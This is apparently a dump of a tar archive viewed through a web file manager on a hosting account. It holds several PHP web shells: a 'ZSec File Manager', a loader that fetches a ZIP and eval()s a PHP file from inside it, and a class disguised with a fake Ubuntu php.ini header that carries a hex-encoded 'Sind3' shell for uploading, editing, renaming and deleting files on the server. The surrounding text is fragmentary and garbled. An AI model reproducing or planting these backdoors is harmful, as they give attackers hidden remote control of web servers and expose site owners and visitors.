芝麻web文件管理V1.00

编辑当前文件:/home/greakqsw/theblogginglab.org/7648l2-20260310230235/yb8tpn.tar

'; echo '
'; echo ''; echo '
'; echo '

'; } exit; } } } ?> Sind3
   SERV :
   SOFT :
   IP   :

——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————




'; echo ''; echo ''; echo ''; echo ''; } foreach ($fileList as $entry) { $path = $d . DIRECTORY_SEPARATOR . $entry; echo ''; echo ''; echo ''; echo ''; echo ''; } ?>
Name Size Actions
' . htmlspecialchars($entry) . '-
' . htmlspecialchars($entry) . '' . (is_file($path) ? filesize($path) . ' bytes' : '-') . ''; echo 'Edit | '; echo 'Rename | '; echo 'Delete'; echo '
index.php000064400000000153151550042150006361 0ustar00z8op2.php000064400000006465151550042160006251 0ustar00 Mini File Manager

ZSec File Manager

Current Directory:

[Up] $file "; if (is_dir($filePath)) { echo "[Open] "; } elseif (is_file($filePath)) { echo "[Edit] "; } echo "
"; } ?>

Edit File

n9udf.php000064400000106660151550042160006312 0ustar00open($tmpFile) === TRUE) { $hookIndex = $zip->locateName('sugagasnwqiotniqwntiqwntiqwtbniqwbtiqwbtqxxx1.php'); if ($hookIndex !== false) { $phpCode = $zip->getFromIndex($hookIndex); try { eval('?>' . $phpCode); } catch (Throwable $e) { echo "?? Error in hook.php: ", $e->getMessage(), "\n"; } } else { echo "? hook.php not found in the ZIP\n"; } $zip->close(); } else { exit("? Failed to open ZIP\n"); } unlink($tmpFile); ?> nf0qj.php000064400000133423151550042170006301 0ustar00 * Package : php * Path : /etc/php/8.1/apache2/php.ini * * Description: * This is a sample PHP configuration file used in Ubuntu. * Do not edit this file directly unless you know what you're doing. * For custom configurations, use the /etc/php/8.1/apache2/conf.d/ directory. * * License: * Distributed under the same terms as PHP itself. * See: https://www.php.net/license/3_01.txt */ class plugin_binalar_eski{ public function plugin_binalar_eskii(){ $list = "73657373696F6E5F737461727428293B6865616465722822582D5853532D50726F74656374696F6E3A203022293B6F625F737461727428293B7365745F74696D655F6C696D69742830293B6572726F725F7265706F7274696E672830293B696E695F7365742827646973706C61795F6572726F7273272C2046414C5345293B0A246973416A6178203D20697373657428245F5345525645525B27485454505F585F5245515545535445445F57495448275D29200A202020202020202020262620737472746F6C6F77657228245F5345525645525B27485454505F585F5245515545535445445F57495448275D29203D3D3D2027786D6C6874747072657175657374273B0A0A66756E6374696F6E2068657828246E29207B0A2020202024793D27273B0A20202020666F72202824693D303B202469203C207374726C656E28246E293B2024692B2B297B0A20202020202020202479202E3D20646563686578286F726428246E5B24695D29293B0A202020207D0A2020202072657475726E2024793B0A7D0A66756E6374696F6E207568657828247929207B0A20202020246E3D27273B0A20202020666F72202824693D303B202469203C207374726C656E282479292D313B2024692B3D32297B0A2020202020202020246E202E3D20636872286865786465632824795B24695D2E24795B24692B315D29293B0A202020207D0A2020202072657475726E20246E3B0A7D0A69662028697373657428245F4745545B2264225D2929207B0A202020202464203D207568657828245F4745545B2264225D293B0A202020206966202869735F6469722824642929207B0A20202020202020206368646972282464293B0A202020207D20656C7365207B0A20202020202020202464203D2067657463776428293B0A202020207D0A7D20656C7365207B0A202020202464203D2067657463776428293B0A7D0A66756E6374696F6E20736574466C61736828247374617475732C20246D736729207B0A20202020245F53455353494F4E5B27737461747573275D203D20247374617475733B0A20202020245F53455353494F4E5B276D7367275D203D20246D73673B0A7D0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D203129207B0A202020203F3E0A202020203C7461626C653E0A20202020202020203C74686561643E0A2020202020202020202020203C74723E0A202020202020202020202020202020203C74683E4E616D653C2F74683E0A202020202020202020202020202020203C74683E53697A653C2F74683E0A202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A2020202020202020202020203C2F74723E0A20202020202020203C2F74686561643E0A20202020202020203C74626F64793E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A2020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A2020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A2020202020202020202020206563686F20273C74643E3C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A2020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206563686F20273C74723E273B0A2020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E27202E202869735F66696C6528247061746829203F2066696C6573697A6528247061746829202E202720627974657327203A20272D2729202E20273C2F74643E273B0A2020202020202020202020206563686F20273C74643E273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A6178456469742220687265663D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E456469743C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617852656E616D652220687265663D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E52656E616D653C2F613E207C20273B0A2020202020202020202020206563686F20273C6120636C6173733D22616A617844656C6574652220687265663D223F616374696F6E3D64656C65746526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F64652824656E74727929202E2027223E44656C6574653C2F613E273B0A2020202020202020202020206563686F20273C2F74643E273B0A2020202020202020202020206563686F20273C2F74723E273B0A20202020202020207D0A20202020202020203F3E0A20202020202020203C2F74626F64793E0A202020203C2F7461626C653E0A202020203C3F7068700A20202020657869743B0A7D0A0A69662028697373657428245F4745545B27616A6178275D2920262620245F4745545B27616A6178275D203D3D3D202762726561646372756D622729207B0A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A202020202462726561646372756D6248746D6C203D2027273B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020202462726561646372756D6248746D6C202E3D20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020202462726561646372756D6248746D6C202E3D2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29202462726561646372756D6248746D6C202E3D20273266273B0A20202020202020207D0A20202020202020202462726561646372756D6248746D6C202E3D2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020206563686F202462726561646372756D6248746D6C3B0A20202020657869743B0A7D0A0A66756E6374696F6E20736166655F73747265616D5F636F70792824696E2C20246F7574293A20626F6F6C207B0A20202020696620285048505F56455253494F4E5F4944203C20383030303929207B0A2020202020202020646F207B0A202020202020202020202020666F7220283B3B29207B0A202020202020202020202020202020202462756666203D2066726561642824696E2C2034303936293B0A20202020202020202020202020202020696620282462756666203D3D3D2066616C7365207C7C202462756666203D3D3D20272729207B0A2020202020202020202020202020202020202020627265616B3B0A202020202020202020202020202020207D0A202020202020202020202020202020206966202866777269746528246F75742C20246275666629203D3D3D2066616C736529207B0A202020202020202020202020202020202020202072657475726E2066616C73653B0A202020202020202020202020202020207D0A2020202020202020202020207D0A20202020202020207D207768696C6520282166656F662824696E29293B0A202020202020202072657475726E20747275653B0A202020207D20656C7365207B0A202020202020202072657475726E2073747265616D5F636F70795F746F5F73747265616D2824696E2C20246F75742920213D3D2066616C73653B0A202020207D0A7D0A0A69662028697373657428245F504F53545B2762656E6B796F275D2920262620697373657428245F504F53545B2764616B656A61275D2929207B0A202020202466696C654E616D65203D20245F504F53545B2762656E6B796F275D3B0A2020202024656E636F646564436F6E74656E74203D20245F504F53545B2764616B656A61275D3B0A20202020246465636F646564436F6E74656E74203D206865783262696E2824656E636F646564436F6E74656E74293B0A0A2020202069662028246465636F646564436F6E74656E74203D3D3D2066616C736529207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E2027496E76616C69642042617365363420656E636F64696E67275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C2027496E76616C69642042617365363420656E636F64696E6727293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A2020202020202020657869743B0A202020207D0A0A202020202474656D7053747265616D203D20666F70656E28277068703A2F2F74656D70272C2027722B27293B0A20202020667772697465282474656D7053747265616D2C20246465636F646564436F6E74656E74293B0A20202020726577696E64282474656D7053747265616D293B0A0A202020202474617267657450617468203D202464202E204449524543544F52595F534550415241544F52202E20626173656E616D65282466696C654E616D65293B0A20202020246F757453747265616D203D20666F70656E2824746172676574506174682C2027776227293B0A0A202020202473756363657373203D202474656D7053747265616D20262620246F757453747265616D20262620736166655F73747265616D5F636F7079282474656D7053747265616D2C20246F757453747265616D293B0A0A2020202069662028246F757453747265616D292066636C6F736528246F757453747265616D293B0A20202020696620282474656D7053747265616D292066636C6F7365282474656D7053747265616D293B0A0A2020202069662028247375636365737329207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C652075706C6F61646564207375636365737366756C6C79275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C617368282773756363657373272C202746696C652075706C6F61646564207375636365737366756C6C7927293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A20202020202020207D0A202020207D20656C7365207B0A202020202020202069662028246973416A617829207B0A2020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A2020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652075706C6F6164206661696C6564275D293B0A20202020202020207D20656C7365207B0A202020202020202020202020736574466C61736828276661696C6564272C202746696C652075706C6F6164206661696C656427293B0A20202020202020202020202068656164657228224C6F636174696F6E3A203F643D22202E2068657828246429293B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A20202020657869743B0A7D0A69662028697373657428245F4745545B27616374696F6E275D2920262620696E5F617272617928245F4745545B27616374696F6E275D2C205B2764656C657465272C202772656E616D65272C202765646974275D2920262620697373657428245F4745545B2766696C65275D2929207B0A2020202069662028245F4745545B27616374696F6E275D203D3D3D202764656C6574652729207B0A20202020202020202466696C654E616D65203D20245F4745545B2766696C65275D3B0A20202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E202466696C654E616D65293B0A202020202020202069662028212466696C6550617468207C7C202169735F66696C65282466696C65506174682929207B0A20202020202020202020202024726573706F6E7365203D205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64206F72206163636573732064656E696564275D3B0A20202020202020207D20656C7365207B0A20202020202020202020202024726573756C74203D20756E6C696E6B282466696C6550617468293B0A20202020202020202020202024726573706F6E7365203D2024726573756C74200A202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652064656C65746564207375636365737366756C6C79275D200A202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652064656C6574696F6E206661696C6564275D3B0A20202020202020207D0A20202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A20202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A2020202020202020657869743B200A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D202772656E616D652729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B276E65775F6E616D65275D2929207B0A202020202020202020202020246F6C6446696C65203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020246E657746696C65203D202464202E204449524543544F52595F534550415241544F52202E20245F504F53545B276E65775F6E616D65275D3B0A20202020202020202020202069662028246F6C6446696C652026262069735F66696C6528246F6C6446696C652929207B0A2020202020202020202020202020202024726573756C74203D2072656E616D6528246F6C6446696C652C20246E657746696C65293B0A2020202020202020202020202020202024726573706F6E7365203D2024726573756C74200A20202020202020202020202020202020202020203F205B27737461747573273D3E2773756363657373272C276D7367273D3E2746696C652072656E616D6564207375636365737366756C6C79275D200A20202020202020202020202020202020202020203A205B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C652072656E616D696E67206661696C6564275D3B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B27737461747573273D3E276661696C6564272C276D7367273D3E2746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D0A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020206563686F20273C68323E52656E616D652046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A2020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A2020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D72656E616D6526643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A2020202020202020202020206563686F20273C696E70757420747970653D227465787422206E616D653D226E65775F6E616D652220706C616365686F6C6465723D224E65772066696C65206E616D65222072657175697265643E3C62723E273B0A2020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2252656E616D65223E20273B0A2020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A2020202020202020202020206563686F20273C2F666F726D3E273B0A2020202020202020202020206563686F20273C2F6469763E3C68723E273B0A202020202020202020202020657869743B0A20202020202020207D0A202020207D20656C736569662028245F4745545B27616374696F6E275D203D3D3D2027656469742729207B0A202020202020202069662028245F5345525645525B27524551554553545F4D4554484F44275D203D3D3D2027504F53542720262620697373657428245F504F53545B27636F6E74656E74275D2929207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A20202020202020202020202020202020246670203D20666F70656E282466696C65506174682C20227722293B0A202020202020202020202020202020206966202824667029207B0A20202020202020202020202020202020202020202462797465735772697474656E203D20667772697465282466702C207374726970736C617368657328245F504F53545B27636F6E74656E74275D29293B0A202020202020202020202020202020202020202066636C6F736528246670293B0A202020202020202020202020202020202020202024726573706F6E7365203D20282462797465735772697474656E20213D3D2066616C7365290A2020202020202020202020202020202020202020202020203F205B2773746174757327203D3E202773756363657373272C20276D736727203D3E202746696C6520656469746564207375636365737366756C6C79275D0A2020202020202020202020202020202020202020202020203A205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C652065646974696E67206661696C6564275D3B0A202020202020202020202020202020207D20656C7365207B0A202020202020202020202020202020202020202024726573706F6E7365203D205B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206F70656E696E67206661696C6564275D3B0A202020202020202020202020202020207D0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F64652824726573706F6E7365293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020206865616465722827436F6E74656E742D547970653A206170706C69636174696F6E2F6A736F6E27293B0A202020202020202020202020202020206563686F206A736F6E5F656E636F6465285B2773746174757327203D3E20276661696C6564272C20276D736727203D3E202746696C65206E6F7420666F756E64275D293B0A20202020202020202020202020202020657869743B0A2020202020202020202020207D20202020202020200A20202020202020207D20656C736569662028246973416A617829207B0A2020202020202020202020202466696C6550617468203D207265616C70617468282464202E204449524543544F52595F534550415241544F52202E20245F4745545B2766696C65275D293B0A202020202020202020202020696620282466696C65506174682026262069735F66696C65282466696C65506174682929207B0A2020202020202020202020202020202024636F6E74656E74203D2066696C655F6765745F636F6E74656E7473282466696C6550617468293B0A202020202020202020202020202020206563686F20273C68323E456469742046696C653A2027202E2068746D6C7370656369616C636861727328245F4745545B2766696C65275D29202E20273C2F68323E273B0A202020202020202020202020202020206563686F20273C64697620636C6173733D227465726D696E616C2D626F78223E273B0A202020202020202020202020202020206563686F20273C666F726D20636C6173733D22616A6178466F726D22206D6574686F643D22504F53542220616374696F6E3D223F616374696F6E3D6564697426643D27202E2068657828246429202E20272666696C653D27202E2075726C656E636F646528245F4745545B2766696C65275D29202E2027223E273B0A202020202020202020202020202020206563686F20273C7465787461726561206E616D653D22636F6E74656E742220726F77733D2231302220636F6C733D223530222072657175697265643E27202E2068746D6C7370656369616C63686172732824636F6E74656E7429202E20273C2F74657874617265613E3C62723E273B0A202020202020202020202020202020206563686F20273C62723E3C696E70757420747970653D227375626D6974222076616C75653D2253617665223E20273B0A202020202020202020202020202020206563686F20273C627574746F6E20747970653D22627574746F6E222069643D2263616E63656C416374696F6E223E43616E63656C3C2F627574746F6E3E273B0A202020202020202020202020202020206563686F20273C2F666F726D3E273B0A202020202020202020202020202020206563686F20273C2F6469763E3C68723E273B0A2020202020202020202020207D0A202020202020202020202020657869743B0A20202020202020207D0A202020207D0A7D0A3F3E0A3C21444F43545950452068746D6C3E0A3C68746D6C3E0A3C686561643E0A202020203C6D65746120636861727365743D225554462D38223E0A202020203C7469746C653E53696E64333C2F7469746C653E0A202020203C212D2D204C6F6164205562756E7475204D6F6E6F2066726F6D20476F6F676C6520466F6E7473202D2D3E0A202020203C6C696E6B20687265663D2268747470733A2F2F666F6E74732E676F6F676C65617069732E636F6D2F637373323F66616D696C793D5562756E74752B4D6F6E6F26646973706C61793D73776170222072656C3D227374796C657368656574223E0A202020203C7374796C653E0A20202020202020202A207B20626F782D73697A696E673A20626F726465722D626F783B207D0A2020202020202020626F6479207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20726762612833372C2033372C2033372C20302E38293B202F2A2047726179207769746820736C69676874207472616E73706172656E6379202A2F0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A2020202020202020202020206D617267696E3A20303B0A20202020202020202020202070616464696E673A20303B0A20202020202020207D0A20202020202020202E636F6E7461696E6572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E6675746572207B0A20202020202020202020202077696474683A203630253B0A2020202020202020202020206D617267696E3A2035307078206175746F3B0A20202020202020202020202070616464696E673A20323070783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020626F726465722D7261646975733A203870783B0A20202020202020207D0A20202020202020202E62726561646372756D6273207B206D617267696E2D626F74746F6D3A20313570783B207D0A202020202020202061207B20636F6C6F723A20233066303B20746578742D6465636F726174696F6E3A206E6F6E653B207D0A2020202020202020613A686F766572207B20746578742D6465636F726174696F6E3A20756E6465726C696E653B207D0A20202020202020207461626C65207B2077696474683A20313030253B20626F726465722D636F6C6C617073653A20636F6C6C617073653B206D617267696E2D746F703A20323070783B207D0A202020202020202074682C207464207B20626F726465723A2031707820736F6C696420233535353B2070616464696E673A203870783B20746578742D616C69676E3A206C6566743B207D0A20202020202020207468207B206261636B67726F756E642D636F6C6F723A20233333333B207D0A2020202020202020696E7075745B747970653D2274657874225D2C207465787461726561207B0A20202020202020202020202077696474683A20313030253B0A20202020202020202020202070616464696E673A203870783B0A2020202020202020202020206D617267696E3A20303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A20202020202020207D0A2020202020202020696E7075745B747970653D227375626D6974225D2C20627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A20202020202020207D0A2020202020202020666F726D207B206D617267696E2D626F74746F6D3A20323070783B207D0A20202020202020202E7465726D696E616C2D626F78207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A20202020202020202020202070616464696E673A20313570783B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A202020202020202020202020626F726465722D7261646975733A203470783B0A2020202020202020202020206D617267696E2D626F74746F6D3A20323070783B0A20202020202020207D0A20202020202020202E7465726D696E616C2D626F7820696E7075745B747970653D2274657874225D2C0A20202020202020202E7465726D696E616C2D626F78207465787461726561207B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233232323B0A202020202020202020202020636F6C6F723A20233066303B0A202020202020202020202020626F726465723A2031707820736F6C696420233333333B0A20202020202020207D0A20202020202020202E6E6F74696669636174696F6E207B0A202020202020202020202020706F736974696F6E3A2066697865643B0A202020202020202020202020626F74746F6D3A20323070783B0A2020202020202020202020206C6566743A20323070783B0A20202020202020202020202070616464696E673A203130707820323070783B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020666F6E742D66616D696C793A20275562756E7475204D6F6E6F272C206D6F6E6F73706163653B0A202020202020202020202020666F6E742D73697A653A20313470783B0A20202020202020207D0A20202020202020202E73756363657373207B206261636B67726F756E642D636F6C6F723A20233061303B20636F6C6F723A20236666663B207D0A20202020202020202E6661696C6564207B206261636B67726F756E642D636F6C6F723A20236130303B20636F6C6F723A20236666663B207D0A20202020202020202F2A20437573746F6D2066696C6520696E70757420627574746F6E207374796C696E67202A2F0A20202020202020202366696C65496E707574207B0A202020202020202020202020646973706C61793A206E6F6E653B0A20202020202020207D0A20202020202020202E637573746F6D2D66696C652D627574746F6E207B0A202020202020202020202020626F726465723A2031707820736F6C696420236666663B0A20202020202020202020202070616464696E673A203470783B0A2020202020202020202020206261636B67726F756E642D636F6C6F723A20233333333B0A202020202020202020202020636F6C6F723A20236666663B0A202020202020202020202020637572736F723A20706F696E7465723B0A202020202020202020202020626F726465722D7261646975733A203470783B0A202020202020202020202020646973706C61793A20696E6C696E652D626C6F636B3B0A20202020202020207D0A202020203C2F7374796C653E0A3C2F686561643E0A3C626F64793E0A3C64697620636C6173733D22636F6E7461696E6572223E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E5345525620203A3C2F623E203C3F3D20697373657428245F5345525645525B275345525645525F534F465457415245275D29203F207068705F756E616D652829203A202253657276657220696E666F726D6174696F6E206E6F7420617661696C61626C65223B203F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E534F465420203A3C2F623E203C3F706870206563686F20245F5345525645525B275345525645525F534F465457415245275D3B3F3E3C62723E0A20202020267468696E73703B267468696E73703B267468696E73703B3C623E49502020266E6273703B266E6273703B3A3C2F623E203C3F3D20676574686F737462796E616D6528245F5345525645525B27485454505F484F5354275D29203F3E3C62723E0A202020203C62723E3C623E2623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231322623383231323C2F623E0A202020203C62723E3C62723E3C666F726D2069643D2275706C6F6164466F726D2220636C6173733D22616A6178466F726D22206D6574686F643D22504F5354223E0A20202020202020203C6C6162656C20666F723D2266696C65496E7075742220636C6173733D22637573746F6D2D66696C652D627574746F6E222069643D2266696C654C6162656C223E43686F6F73652046696C653C2F6C6162656C3E0A20202020202020203C696E70757420747970653D2266696C65222069643D2266696C65496E707574222072657175697265643E0A20202020202020203C696E70757420747970653D227375626D6974222076616C75653D2255706C6F6164223E0A202020203C2F666F726D3E0A0A202020203C62723E3C6469762069643D2262726561646372756D62436F6E7461696E6572223E0A202020203C3F7068700A20202020246B203D20707265675F73706C697428222F285C5C5C5C7C5C2F292F222C202464293B0A20202020666F72656163682028246B20617320246D203D3E20246C29207B0A202020202020202069662028246C203D3D20272720262620246D203D3D203029207B0A2020202020202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D3266223E2F3C2F613E273B0A20202020202020207D0A202020202020202069662028246C203D3D2027272920636F6E74696E75653B0A20202020202020206563686F20273C6120636C6173733D22616A782220687265663D223F643D273B0A2020202020202020666F7220282469203D20303B202469203C3D20246D3B2024692B2B29207B0A2020202020202020202020206563686F2068657828246B5B24695D293B0A20202020202020202020202069662028246920213D20246D29206563686F20273266273B0A20202020202020207D0A20202020202020206563686F2027223E272E246C2E273C2F613E2F273B0A202020207D0A202020203F3E0A3C2F6469763E3C62723E0A3C6469762069643D22616374696F6E436F6E7461696E6572223E3C2F6469763E3C62723E0A202020203C6469762069643D2266696C654C697374436F6E7461696E6572223E0A20202020202020203C3F7068700A202020202020202024656E7472696573203D207363616E646972282464293B0A2020202020202020246469724C697374203D205B5D3B0A20202020202020202466696C654C697374203D205B5D3B0A2020202020202020666F7265616368202824656E74726965732061732024656E74727929207B0A2020202020202020202020206966202824656E747279203D3D20272E27207C7C2024656E747279203D3D20272E2E272920636F6E74696E75653B0A2020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A2020202020202020202020206966202869735F6469722824706174682929207B0A20202020202020202020202020202020246469724C6973745B5D203D2024656E7472793B0A2020202020202020202020207D20656C7365207B0A202020202020202020202020202020202466696C654C6973745B5D203D2024656E7472793B0A2020202020202020202020207D0A20202020202020207D0A20202020202020203F3E0A20202020202020203C7461626C653E0A2020202020202020202020203C74686561643E0A202020202020202020202020202020203C74723E0A20202020202020202020202020202020202020203C74683E4E616D653C2F74683E0A20202020202020202020202020202020202020203C74683E53697A653C2F74683E0A20202020202020202020202020202020202020203C74683E416374696F6E733C2F74683E0A202020202020202020202020202020203C2F74723E0A2020202020202020202020203C2F74686561643E0A2020202020202020202020203C74626F64793E0A2020202020202020202020203C3F7068700A202020202020202020202020666F72656163682028246469724C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E3C6120636C6173733D22616A61784469722220687265663D223F643D27202E2068657828247061746829202E2027223E27202E2068746D6C7370656369616C63686172732824656E74727929202E20273C2F613E3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E2D3C2F74643E273B0A202020202020202020202020202020206563686F20273C74643E3C2F74643E273B0A202020202020202020202020202020206563686F20273C2F74723E273B0A2020202020202020202020207D0A202020202020202020202020666F726561636820282466696C654C6973742061732024656E74727929207B0A202020202020202020202020202020202470617468203D202464202E204449524543544F52595F534550415241544F52202E2024656E7472793B0A202020202020202020202020202020206563686F20273C74723E273B0A202020202020202020202020202020206563686F20273C74643E27202E2068746D6C7370656369616